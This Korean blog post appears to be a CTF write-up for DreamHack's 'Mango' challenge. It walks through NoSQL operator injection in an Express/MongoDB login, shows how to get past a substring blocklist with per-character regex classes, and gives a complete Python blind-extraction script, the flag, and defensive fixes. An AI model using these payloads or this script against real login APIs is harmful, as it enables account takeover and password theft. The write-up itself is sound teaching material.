[๐Ÿฅˆ Silver 4] MongoDB NoSQL ์ธ์ ์…˜ + ๊ธ€์ž๋ณ„ ํด๋ž˜์Šค๋กœ BAN ์šฐํšŒ โ€” DreamHack Mango ํ’€์ด

2026-06-22ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅˆ Silver 4] MongoDB NoSQL ์ธ์ ์…˜ + ๊ธ€์ž๋ณ„ ํด๋ž˜์Šค๋กœ BAN ์šฐํšŒ โ€” DreamHack Mango ํ’€์ด

Express + Mongoose ๋กœ๊ทธ์ธ์—์„œ ์ฟผ๋ฆฌ์ŠคํŠธ๋ง ์—ฐ์‚ฐ์ž ์ฃผ์ž…์ด ํ†ตํ•œ๋‹ค. adminยทdh ๋ฌธ์ž์—ด์€ BAN์œผ๋กœ ๋ง‰ํ˜€ ์žˆ์ง€๋งŒ, ์ •๊ทœ์‹์˜ ๊ฐ ๊ธ€์ž๋ฅผ `[c]` ์บ๋ฆญํ„ฐ ํด๋ž˜์Šค๋กœ ๊ฐ์‹ธ๋ฉด substring ๊ฒ€์‚ฌ์˜ ์ธ์ ‘์ด ๋Š๊ฒจ ์šฐํšŒ๋œ๋‹ค. `uid[$regex]`๋กœ admin์„ ํŠน์ •ํ•˜๊ณ  `upw[$regex]`๋กœ flag๋ฅผ ํ•œ ๊ธ€์ž์”ฉ blind ์ถ”์ถœํ–ˆ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” Mango ๋ถ„๋ฅ˜: Web ๋‚œ์ด๋„: ๐Ÿฅˆ Silver 4 FLAG: DH{89e50fa6fafe2604e33c0ba05843d3df}

์ด๋ฆ„์ด Mango์ง€๋งŒ ์‚ฌ์‹ค Mongo๋‹ค. ์ ‘์†ํ•˜๋ฉด /login?uid=guest&upw=guest๋ผ๋Š” ์•ˆ๋‚ด ํ•œ ์ค„์ด ์ „๋ถ€์ธ, MongoDB ๋ฐฑ์—”๋“œ์˜ ๋กœ๊ทธ์ธ API ๋ฌธ์ œ๋‹ค.

์•ˆ๋‚ด ํŽ˜์ด์ง€ โ€” /login ์‚ฌ์šฉ๋ฒ•
์•ˆ๋‚ด ํŽ˜์ด์ง€ โ€” /login ์‚ฌ์šฉ๋ฒ•

๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…Mango
๋‚œ์ด๋„๐Ÿฅˆ Silver 4
๋ถ„๋ฅ˜Web (NoSQL Injection)
์ŠคํƒNode.js + Express + Mongoose(MongoDB)
์ œ๊ณตmain.js + ์„œ๋ฒ„
ํ•ต์‹ฌ ์ทจ์•ฝ์ ์ฟผ๋ฆฌ์ŠคํŠธ๋ง ์—ฐ์‚ฐ์ž ์ฃผ์ž… + substring BAN ์šฐํšŒ

flag๋Š” DB์— admin ๊ณ„์ •์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ๋“ค์–ด ์žˆ๋‹ค. ๋กœ๊ทธ์ธ API์— ์—ฐ์‚ฐ์ž๋ฅผ ์ฃผ์ž…ํ•ด admin์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ $regex๋กœ ํ•œ ๊ธ€์ž์”ฉ ์•Œ์•„๋‚ด๋Š” ๊ฒŒ ๋ชฉํ‘œ๋‹ค. ๋‹จ, admin๊ณผ dh๋ฅผ ์ง์ ‘ ์“ฐ๋Š” ๊ธธ์€ BAN์œผ๋กœ ๋ง‰ํ˜€ ์žˆ์–ด ํ•œ ๋ฒˆ ๋” ์šฐํšŒ๊ฐ€ ํ•„์š”ํ•˜๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” Express ์ฟผ๋ฆฌ ํŒŒ์„œ์™€ NoSQL ์—ฐ์‚ฐ์ž

Express๋Š” ์ฟผ๋ฆฌ์ŠคํŠธ๋ง์„ qs ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋กœ ํŒŒ์‹ฑํ•œ๋‹ค. ์ด ํŒŒ์„œ๋Š” ๋Œ€๊ด„ํ˜ธ ํ‘œ๊ธฐ๋ฅผ ์ค‘์ฒฉ ๊ฐ์ฒด๋กœ ํ’€์–ด์ค€๋‹ค.

?uid=guest            โ†’  req.query = { uid: "guest" }
?uid[$ne]=guest       โ†’  req.query = { uid: { $ne: "guest" } }
?upw[$regex]=^DH      โ†’  req.query = { upw: { $regex: "^DH" } }

๋ฌธ์ œ๋Š” ์ด ๊ฐ์ฒด๊ฐ€ ๊ทธ๋Œ€๋กœ MongoDB ์ฟผ๋ฆฌ๋กœ ๋“ค์–ด๊ฐˆ ๋•Œ๋‹ค. MongoDB๋Š” $ne(not equal), $regex, $gt, $in ๊ฐ™์€ ์ฟผ๋ฆฌ ์—ฐ์‚ฐ์ž๋ฅผ ๊ฐ์ฒด ํ˜•ํƒœ๋กœ ๋ฐ›๋Š”๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ ๋ณด๋‚ธ ๊ฐ’์ด ๋ฌธ์ž์—ด์ด๋ผ๊ณ  ๊ฐ€์ •ํ•˜๊ณ  findOne({uid, upw})์— ๊ทธ๋Œ€๋กœ ๋„ฃ์œผ๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ๋ฌธ์ž์—ด ๋Œ€์‹  ์—ฐ์‚ฐ์ž ๊ฐ์ฒด๋ฅผ ๋ผ์›Œ ๋„ฃ์–ด ์ฟผ๋ฆฌ ์˜๋ฏธ ์ž์ฒด๋ฅผ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ๋‹ค. ์ด๊ฒƒ์ด NoSQL ์ธ์ ์…˜์ด๋‹ค.

// ์˜๋„: ์ •ํ™•ํžˆ ์ด ๋น„๋ฐ€๋ฒˆํ˜ธ์ธ ์‚ฌ์šฉ์ž
db.collection('user').findOne({ uid: "admin", upw: "๋น„๋ฐ€๋ฒˆํ˜ธ" })
 
// ์ฃผ์ž…: ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๋ฌด์—‡์ด๋“  (guest ๊ฐ€ ์•„๋‹Œ ์ฒซ ์‚ฌ์šฉ์ž)
db.collection('user').findOne({ uid: { $ne: "guest" }, upw: { $ne: "guest" } })

๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ

main.js๋Š” ์งง๋‹ค. ํ•ต์‹ฌ๋งŒ ๋ณธ๋‹ค.

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
 
filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}
 
app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;
 
    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){ res.send('err'); }
        else if(result){ res.send(result['uid']); }
        else{ res.send('undefined'); }
    })
});

์ฝ์–ด๋‚ผ ์ ์ด ์…‹์ด๋‹ค.

์ฒซ์งธ, uid์™€ upw๋ฅผ req.query์—์„œ ๊ทธ๋Œ€๋กœ ๊บผ๋‚ด findOne์— ๋„ฃ๋Š”๋‹ค. ํƒ€์ž… ๊ฒ€์‚ฌ๊ฐ€ ์—†์œผ๋‹ˆ ์—ฐ์‚ฐ์ž ๊ฐ์ฒด ์ฃผ์ž…์ด ํ†ตํ•œ๋‹ค.

๋‘˜์งธ, ์‘๋‹ต์ด blind oracle๋กœ ์“ฐ๊ธฐ ๋”ฑ ์ข‹๋‹ค. ๋งค์น˜๋˜๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์žˆ์œผ๋ฉด result['uid'](์˜ˆ: admin)๋ฅผ, ์—†์œผ๋ฉด undefined๋ฅผ ๋ณด๋‚ธ๋‹ค. ์ฆ‰ ์‘๋‹ต๋งŒ ๋ณด๊ณ  ์ฟผ๋ฆฌ์˜ ์ฐธ/๊ฑฐ์ง“์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

์…‹์งธ, filter๊ฐ€ JSON.stringify(req.query).toLowerCase()๋ฅผ ๋งŒ๋“ค์–ด adminยทdhยทadmi๊ฐ€ ๋ถ€๋ถ„ ๋ฌธ์ž์—ด๋กœ ๋“ค์–ด ์žˆ์œผ๋ฉด ์ฐจ๋‹จํ•œ๋‹ค. flag๊ฐ€ DH{...}๋กœ ์‹œ์ž‘ํ•˜๋‹ˆ $regex์— DH๋ฅผ ๋„ฃ์œผ๋ฉด ์†Œ๋ฌธ์ž dh๊ฐ€ ๊ฑธ๋ฆฌ๊ณ , admin์„ ์ง์ ‘ ์ง€์ •ํ•˜๋ ค ํ•ด๋„ admin์ด ๊ฑธ๋ฆฐ๋‹ค.

๋จผ์ € ์•ˆ๋‚ด๋Œ€๋กœ ์ •์ƒ ๋กœ๊ทธ์ธ์ด ๋˜๋Š”์ง€ ํ™•์ธํ•œ๋‹ค.

์ •์ƒ ๋กœ๊ทธ์ธ โ€” guest/guest โ†’ guest
์ •์ƒ ๋กœ๊ทธ์ธ โ€” guest/guest โ†’ guest

uid=guest&upw=guest๋Š” guest๋ฅผ ๋Œ๋ ค์ค€๋‹ค. API๊ฐ€ ๋งค์น˜๋œ ์‚ฌ์šฉ์ž์˜ uid๋ฅผ ์‘๋‹ตํ•œ๋‹ค๋Š” ๊ฑธ ํ™•์ธํ–ˆ๋‹ค.


โ–ถ๐Ÿ› ์‚ฝ์งˆ โ€” uid[$ne]=guest ํ–ˆ๋”๋‹ˆ admin์ด ์•„๋‹ˆ๋ผ dreamhack์ด ๋‚˜์™”๋‹ค

NoSQL ์ธ์ ์…˜์˜ ๊ต๊ณผ์„œ ์ฒซ ์ˆ˜๋Š” "guest๊ฐ€ ์•„๋‹Œ ์‚ฌ์šฉ์ž"๋ฅผ ๋Œ์–ด๋‚ด๋Š” ๊ฑฐ๋‹ค. upw๋„ ๋ชจ๋ฅด๋‹ˆ ๋‘˜ ๋‹ค $ne๋กœ ๋˜์กŒ๋‹ค.

/login?uid[$ne]=guest&upw[$ne]=guest
ne ์—ฐ์‚ฐ์ž ์ฃผ์ž… ๊ฒฐ๊ณผ โ€” guest๊ฐ€ ์•„๋‹Œ ์ฒซ ๊ณ„์ • dreamhack ๋…ธ์ถœ
ne ์—ฐ์‚ฐ์ž ์ฃผ์ž… ๊ฒฐ๊ณผ โ€” guest๊ฐ€ ์•„๋‹Œ ์ฒซ ๊ณ„์ • dreamhack ๋…ธ์ถœ

๊ทธ๋Ÿฐ๋ฐ ๋Œ์•„์˜จ ๊ฑด admin์ด ์•„๋‹ˆ๋ผ dreamhack์ด์—ˆ๋‹ค. user ์ปฌ๋ ‰์…˜์— guest, dreamhack, admin ๋“ฑ ์—ฌ๋Ÿฌ ๊ณ„์ •์ด ์žˆ๊ณ , findOne์ด ์กฐ๊ฑด์„ ๋งŒ์กฑํ•˜๋Š” ์ฒซ ๋„ํ๋จผํŠธ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. guest๊ฐ€ ์•„๋‹Œ ์ฒซ ์‚ฌ์šฉ์ž๊ฐ€ dreamhack์ด๋ผ ๊ฑฐ๊ธฐ์„œ ๋ฉˆ์ถ˜ ๊ฒƒ์ด๋‹ค.

๊ทธ๋ž˜์„œ flag๋ฅผ ๊ฐ€์ง„ ๊ณ„์ •์ธ admin์„ ์ •ํ™•ํžˆ ํŠน์ •ํ•ด์•ผ ํ•œ๋‹ค๋Š” ๊ฑธ ์•Œ์•˜๋‹ค. ๋ฌธ์ œ๋Š” admin์ด๋ผ๋Š” ๋ฌธ์ž์—ด ์ž์ฒด๊ฐ€ BAN์ด๋ผ๋Š” ์ ์ด๋‹ค.



๐Ÿ’ฃ ํ•ต์‹ฌ โ€” ๊ธ€์ž๋ณ„ ํด๋ž˜์Šค๋กœ BAN์„ ์šฐํšŒํ•˜๊ณ  blind๋กœ ๋ฝ‘๊ธฐ

์ „์ฒด ๊ณต๊ฒฉ์€ ์„ธ ์กฐ๊ฐ์ด๋‹ค.

NoSQLi ํ๋ฆ„ โ€” ์—ฐ์‚ฐ์ž ์ฃผ์ž… ยท BAN ์šฐํšŒ ยท blind ์ถ”์ถœ
NoSQLi ํ๋ฆ„ โ€” ์—ฐ์‚ฐ์ž ์ฃผ์ž… ยท BAN ์šฐํšŒ ยท blind ์ถ”์ถœ

BAN์€ "๋ถ€๋ถ„ ๋ฌธ์ž์—ด"๋งŒ ๋ณธ๋‹ค

filter๋Š” dump.indexOf('admin')์ฒ˜๋Ÿผ substring์„ ์ฐพ๋Š”๋‹ค. admin์ด๋ผ๋Š” ๋‹ค์„ฏ ๊ธ€์ž๊ฐ€ ๋ถ™์–ด ์žˆ์„ ๋•Œ๋งŒ ๊ฑธ๋ฆฐ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ๊ธ€์ž ์‚ฌ์ด์— ๋ฌด์–ธ๊ฐ€๋ฅผ ๋ผ์›Œ ๋„ฃ์–ด ์ธ์ ‘์„ ๋Š์œผ๋ฉด ๋œ๋‹ค. ์ •๊ทœ์‹์˜ ์บ๋ฆญํ„ฐ ํด๋ž˜์Šค [c]๊ฐ€ ์•ˆ์„ฑ๋งž์ถค์ด๋‹ค โ€” [a]๋Š” ์ •๊ทœ์‹์—์„  ๊ทธ๋ƒฅ ๋ฌธ์ž a ํ•˜๋‚˜์ง€๋งŒ, ๋ฌธ์ž์—ด๋กœ ๋ณด๋ฉด [, a, ] ์„ธ ๊ธ€์ž๋‹ค.

"admin"            โ†’ JSON์— "admin" ๊ทธ๋Œ€๋กœ     โ†’ BAN ๊ฑธ๋ฆผ
"^[a][d][m][i][n]$" โ†’ JSON์— "[a][d][m][i][n]" โ†’ "admin" ์—†์Œ โ†’ ํ†ต๊ณผ

[a][d][m][i][n]์„ lowercase๋กœ ํŽผ์ณ๋„ a][d][m][i][n ์‚ฌ์ด๋งˆ๋‹ค ][๊ฐ€ ๋ผ์–ด ์žˆ์–ด admin์ด๋ผ๋Š” ์—ฐ์† ๋ถ€๋ถ„ ๋ฌธ์ž์—ด์ด ์—†๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์ •๊ทœ์‹ ์—”์ง„์—๋Š” ์—ฌ์ „ํžˆ "a ๋‹ค์Œ d ๋‹ค์Œ mโ€ฆ"์œผ๋กœ ์ฝํ˜€ admin๊ณผ ์ •ํ™•ํžˆ ๋งค์น˜๋œ๋‹ค.

uid=admin์„ ์ง์ ‘ ๋„ฃ์œผ๋ฉด filter๊ฐ€ ๋œจ๊ณ ,

admin ์ง์ ‘ ์ž…๋ ฅ โ†’ filter
admin ์ง์ ‘ ์ž…๋ ฅ โ†’ filter

ํด๋ž˜์Šค๋กœ ๊ฐ์‹ผ uid[$regex]=^[a][d][m][i][n]$๋Š” ํ•„ํ„ฐ๋ฅผ ํ†ต๊ณผํ•ด admin์„ ๋Œ์–ด๋‚ธ๋‹ค.

admin ํŠน์ • ์„ฑ๊ณต โ†’ admin
admin ํŠน์ • ์„ฑ๊ณต โ†’ admin

upw๋ฅผ ํ•œ ๊ธ€์ž์”ฉ โ€” dh๋„ ๊ฐ™์€ ๋ฐฉ๋ฒ•์œผ๋กœ

์ด์ œ admin์„ ๊ณ ์ •ํ–ˆ์œผ๋‹ˆ upw๋ฅผ $regex๋กœ ์ถ”์ถœํ•œ๋‹ค. flag๋Š” DH{๋กœ ์‹œ์ž‘ํ•˜๋Š”๋ฐ dh๊ฐ€ BAN์ด๋ผ DH๋ฅผ ๊ทธ๋Œ€๋กœ ๋ชป ์“ด๋‹ค. .(์ž„์˜ ๋ฌธ์ž)๋กœ ๋Œ€์ฒดํ•˜๋ฉด ๊ทธ๋งŒ์ด๋‹ค. ^..[{]๋Š” "์•„๋ฌด ๋‘ ๊ธ€์ž + {"๋ผ DH{์— ๋งค์น˜๋˜๋ฉด์„œ dh๋ผ๋Š” ๊ธ€์ž๋ฅผ ์“ฐ์ง€ ์•Š๋Š”๋‹ค.

๊ทธ ๋’ค๋กœ๋Š” ์ถ”์ถœํ•œ ๊ธ€์ž๋“ค์„ ๋˜‘๊ฐ™์ด [c] ํด๋ž˜์Šค๋กœ ์ด์–ด ๋ถ™์ธ๋‹ค. flag ๊ฐ’์— ์šฐ์—ฐํžˆ dh๋‚˜ ad ๊ฐ™์€ ์กฐ๊ฐ์ด ๋“ค์–ด ์žˆ์–ด๋„ ][๋กœ ๋Š๊ฒจ ์žˆ์–ด BAN์„ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๋Š”๋‹ค.

upw[$regex] = ^..[{][8]          โ†’ DH{8...  ๋งค์น˜ โ†’ ์‘๋‹ต admin (์ฐธ)
upw[$regex] = ^..[{][z][z][z]    โ†’ ๋งค์น˜ ์•ˆ ๋จ โ†’ ์‘๋‹ต undefined (๊ฑฐ์ง“)
blind ์ฐธ ์ผ€์ด์Šค โ€” ์˜ฌ๋ฐ”๋ฅธ prefix๋ฉด ์‘๋‹ต์ด admin
blind ์ฐธ ์ผ€์ด์Šค โ€” ์˜ฌ๋ฐ”๋ฅธ prefix๋ฉด ์‘๋‹ต์ด admin

์‘๋‹ต์ด admin์ด๋ฉด ๊ทธ ๊ธ€์ž๊ฐ€ ๋งž๋Š” ๊ฒƒ์ด๋‹ค. 0-9a-zA-Z๋ฅผ ๋Œ๋ ค๊ฐ€๋ฉฐ 32๊ธ€์ž๋ฅผ ๋ชจ์œผ๋ฉด flag๊ฐ€ ์™„์„ฑ๋œ๋‹ค.


๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡

์กฐ๋ฆฝํ•œ ์š”์ฒญ์€ ์ด๋ ‡๊ฒŒ ์ƒ๊ฒผ๋‹ค.

GET /login?uid[$regex]=^[a][d][m][i][n]$&upw[$regex]=^..[{][8][9][e]...

uid๋Š” admin์œผ๋กœ ๊ณ ์ •, upw๋Š” ์ง€๊ธˆ๊นŒ์ง€ ํ™•์ •ํ•œ ๊ธ€์ž + ๋‹ค์Œ ํ›„๋ณด๋ฅผ ๋ชจ๋‘ [c]๋กœ ๊ฐ์‹ผ ์ •๊ทœ์‹์ด๋‹ค. ์‘๋‹ต์ด admin์ด๋ฉด ํ›„๋ณด ํ™•์ •, undefined๋ฉด ๋‹ค์Œ ํ›„๋ณด๋กœ ๋„˜์–ด๊ฐ„๋‹ค.


๐Ÿš€ Full Exploit

oracle ํ•œ ๋ฒˆ = HTTP ์š”์ฒญ ํ•œ ๋ฒˆ์ด๊ณ , ๊ธ€์ž๋งˆ๋‹ค ํ›„๋ณด๋ฅผ ๋Œ๋ฆฌ๋Š” ๋‹จ์ˆœ blind๋‹ค. ์™ธ๋ถ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์—†์ด ํ‘œ์ค€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋งŒ ์“ด๋‹ค.

#!/usr/bin/env python3
# Mango โ€” Express + Mongoose NoSQL injection. upw[$regex] ๋กœ admin ์˜ flag ๋ฅผ blind ์ถ”์ถœ.
# BAN(admin/dh/admi)์€ ๋ชจ๋“  ๊ธ€์ž๋ฅผ [c] ์บ๋ฆญํ„ฐ ํด๋ž˜์Šค๋กœ ๊ฐ์‹ธ ์ธ์ ‘์„ ๋Š์–ด ์šฐํšŒํ•œ๋‹ค.
import sys, string, urllib.request, urllib.parse
 
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:13990"
CHARSET = string.digits + string.ascii_lowercase + string.ascii_uppercase
UID_RE = "^[a][d][m][i][n]$"          # admin ํŠน์ • (๊ธ€์ž๋ณ„ ํด๋ž˜์Šค๋กœ BAN ์šฐํšŒ)
 
def cls(s):                            # ๊ฐ ๊ธ€์ž๋ฅผ [c] ๋กœ ๊ฐ์‹ธ 'admin'/'dh' ์ธ์ ‘ ๋Š๊ธฐ
    return "".join("[%s]" % c for c in s)
 
def oracle(upw_regex):
    qs = urllib.parse.urlencode({"uid[$regex]": UID_RE, "upw[$regex]": upw_regex})
    body = urllib.request.urlopen(f"{BASE}/login?{qs}", timeout=20).read().decode()
    return body.strip() == "admin"     # ๋งค์น˜๋˜๋ฉด admin, ์•„๋‹ˆ๋ฉด undefined
 
PREFIX = "^..[{]"                       # ^.. = DH, [{] = {  ('dh' ๊ธ€์ž ์—†์ด ํ‘œํ˜„)
known = ""
while len(known) < 32:
    for c in CHARSET:
        if oracle(PREFIX + cls(known + c)):
            known += c
            print(f"[{len(known):2d}/32] DH{{{known}")
            break
    else:
        break
 
print("\nFLAG:", "DH{" + known + "}")

๋Œ๋ฆฌ๋ฉด ํ•œ ๊ธ€์ž์”ฉ ์ฑ„์›Œ์ง€๋ฉฐ 32์ž๊ฐ€ ๋‹ค ๋ชจ์ธ๋‹ค.

solve.py ์‹คํ–‰ โ€” blind ์ถ”์ถœ ์ง„ํ–‰๊ณผ flag
solve.py ์‹คํ–‰ โ€” blind ์ถ”์ถœ ์ง„ํ–‰๊ณผ flag


๐Ÿ“ ๊ฒฐ๋ก 

NoSQL์ด๋ผ๊ณ  ์ธ์ ์…˜์—์„œ ์ž์œ ๋กœ์šด ๊ฒŒ ์•„๋‹ˆ๋‹ค.

SQL injection์ด ๋ฌธ์ž์—ด ๋”ฐ์˜ดํ‘œ ๋ฌธ์ œ๋ผ๋ฉด, NoSQL injection์€ ํƒ€์ž… ๋ฌธ์ œ๋‹ค. ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ๋ฌธ์ž์—ด์ผ ๊ฑฐ๋ผ๊ณ  ๋ฏฟ๊ณ  ์ฟผ๋ฆฌ ๊ฐ์ฒด์— ๊ทธ๋Œ€๋กœ ๋„ฃ์œผ๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ๋ฌธ์ž์—ด ๋Œ€์‹  $neยท$regex ๊ฐ™์€ ์—ฐ์‚ฐ์ž ๊ฐ์ฒด๋ฅผ ๋ผ์›Œ ๋„ฃ์–ด ์ฟผ๋ฆฌ๋ฅผ ๋‹ค์‹œ ์“ด๋‹ค. Express์˜ qs ํŒŒ์„œ๊ฐ€ ๋Œ€๊ด„ํ˜ธ ํ‘œ๊ธฐ๋ฅผ ๊ฐ์ฒด๋กœ ํ’€์–ด์ฃผ๊ธฐ ๋•Œ๋ฌธ์—, ํ‰๋ฒ”ํ•œ GET ์š”์ฒญ๋งŒ์œผ๋กœ๋„ ์ด๊ฒŒ ๊ฐ€๋Šฅํ•˜๋‹ค.

์ด ๋ฌธ์ œ๋Š” BAN ํ•„ํ„ฐ๊นŒ์ง€ ์žˆ์—ˆ์ง€๋งŒ, substring ๊ฒ€์‚ฌ๋ผ๋Š” ์•ฝ์  ๋•Œ๋ฌธ์— ์ •๊ทœ์‹ ์บ๋ฆญํ„ฐ ํด๋ž˜์Šค ํ•œ ๊ฒน์œผ๋กœ ๋ฌด๋ ฅํ™”๋๋‹ค. ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ substring ๊ฒ€์‚ฌ๋Š” ๊ฑฐ์˜ ํ•ญ์ƒ ์šฐํšŒ๋œ๋‹ค โ€” ์˜๋ฏธ๊ฐ€ ์•„๋‹ˆ๋ผ ๊ธ€์ž ๋ฐฐ์—ด๋งŒ ๋ณด๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

๋ฐฉ์–ด๋Š” ์ž…๋ ฅ์˜ ํƒ€์ž…์„ ๊ฐ•์ œํ•˜๋Š” ๋ฐ์„œ ์‹œ์ž‘ํ•œ๋‹ค. uidยทupw๊ฐ€ ๋ฌธ์ž์—ด์ด ์•„๋‹ˆ๋ฉด ๊ฑฐ๋ถ€ํ•˜๊ฑฐ๋‚˜(typeof === 'string'), express-mongo-sanitize์ฒ˜๋Ÿผ $๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ‚ค๋ฅผ ๊ฑธ๋Ÿฌ๋‚ด๋Š” ๋ฏธ๋“ค์›จ์–ด๋ฅผ ์“ด๋‹ค. ์ธ์ฆ ๋กœ์ง์€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ $regex๋กœ ํ˜๋ฆด ์ˆ˜ ์žˆ๋Š” ํ‰๋ฌธ ๋น„๊ต๊ฐ€ ์•„๋‹ˆ๋ผ, ํ•ด์‹œ๋ฅผ ๊บผ๋‚ด ์ƒ์ˆ˜ ์‹œ๊ฐ„ ๋น„๊ต๋กœ ๊ฒ€์ฆํ•ด์•ผ ํ•œ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ๊ธ€์ž ๋‹จ์œ„ blind ์ž์ฒด๊ฐ€ ๋ถˆ๊ฐ€๋Šฅํ•ด์ง„๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅˆ Silver 3] NoSQL ์—ฐ์‚ฐ์ž ์ฃผ์ž…์œผ๋กœ admin ๋น„๋ฐ€๋ฒˆํ˜ธ ํ›”์น˜๊ธฐ โ€” DreamHack Not-only ํ’€์ด
blog

[๐Ÿฅˆ Silver 3] NoSQL ์—ฐ์‚ฐ์ž ์ฃผ์ž…์œผ๋กœ admin ๋น„๋ฐ€๋ฒˆํ˜ธ ํ›”์น˜๊ธฐ โ€” DreamHack Not-only ํ’€์ด

Mongoose ๋กœ๊ทธ์ธ์ด req.body ๋ฅผ ๊ทธ๋Œ€๋กœ findOne ์ฟผ๋ฆฌ์— ๋„ฃ๋Š”๋‹ค. JSON ๋ฐ”๋””๋กœ $ne ์—ฐ์‚ฐ์ž๋ฅผ ๋ณด๋‚ด ๋น„๋ฐ€๋ฒˆํ˜ธ ์—†์ด ๋กœ๊ทธ์ธํ•˜๊ณ , /user ๊ฐ€ ๋…ธ์ถœํ•˜๋Š” admin ๊ฐ’์œผ๋กœ ์ง„์งœ admin ์œ ์ €๋ฅผ ์ฐพ๋Š”๋‹ค. $regex blind ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํ•œ ๊ธ€์ž์”ฉ ๋ฝ‘๋Š”๋ฐ, ํ”Œ๋ž˜๊ทธ๋Š” admin ๋‘ ๋ช…์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ์— ๋ฐ˜์”ฉ ์ชผ๊ฐœ์ ธ ์žˆ์—ˆ๋‹ค.
#dreamhack#ctf#web+4
2026-06-08#dreamhack +6
[๐Ÿฅ‰ Bronze 2] GET๋งŒ ์—ด์–ด๋‘” Flask ๋ผ์šฐํŠธ๋ฅผ HEAD๋กœ ๋šซ๊ธฐ โ€” DreamHack blind-command ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] GET๋งŒ ์—ด์–ด๋‘” Flask ๋ผ์šฐํŠธ๋ฅผ HEAD๋กœ ๋šซ๊ธฐ โ€” DreamHack blind-command ํ’€์ด

Flask ๋ผ์šฐํŠธ์— methods=['GET']๋งŒ ๊ฑธ์–ด๋„ HEAD์™€ OPTIONS๋Š” ์ž๋™์œผ๋กœ ๋”ฐ๋ผ๋ถ™๋Š”๋‹ค. HEAD ์š”์ฒญ์ด๋ฉด request.method๊ฐ€ 'HEAD'๊ฐ€ ๋˜์–ด else ๋ถ„๊ธฐ์˜ os.system(cmd)์ด ์‹คํ–‰๋˜์ง€๋งŒ, HEAD ์‘๋‹ต์—” ๋ณธ๋ฌธ์ด ์—†์–ด ์ถœ๋ ฅ์ด ๋ณด์ด์ง€ ์•Š๋Š”๋‹ค. sleep ์‹œ๊ฐ„์ฐจ๋กœ flag๋ฅผ ํ•œ ๊ธ€์ž์”ฉ ๋นผ๋ƒˆ๋‹ค.
#dreamhack#ctf#web+4
2026-06-28#dreamhack +4
[๐Ÿฅ‰ Bronze 3] ์ˆจ๊ธด _id๋ฅผ ObjectId ์˜ˆ์ธก์œผ๋กœ ๋ณต์›ํ•ด ๋น„๋ฐ€๊ธ€ ์ฝ๊ธฐ โ€” DreamHack mongoboard ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] ์ˆจ๊ธด _id๋ฅผ ObjectId ์˜ˆ์ธก์œผ๋กœ ๋ณต์›ํ•ด ๋น„๋ฐ€๊ธ€ ์ฝ๊ธฐ โ€” DreamHack mongoboard ํ’€์ด

๊ฒŒ์‹œํŒ์ด ๋น„๋ฐ€๊ธ€์˜ _id๋งŒ null๋กœ ๊ฐ€๋ ธ์ง€๋งŒ, MongoDB ObjectId๋Š” ์‹œ๊ฐยท๋žœ๋คยท์นด์šดํ„ฐ๋กœ ์ด๋ค„์ง„ ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ ๊ฐ’์ด๋‹ค. ๋ณด์ด๋Š” ๊ธ€๋“ค์˜ _id์™€ ๋น„๋ฐ€๊ธ€์˜ publish_date๋งŒ์œผ๋กœ ์ˆจ๊ธด _id๋ฅผ ๋ณต์›ํ•ด ๋ณธ๋ฌธ(FLAG)์„ ์ฝ๋Š” ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-06-04#dreamhack +4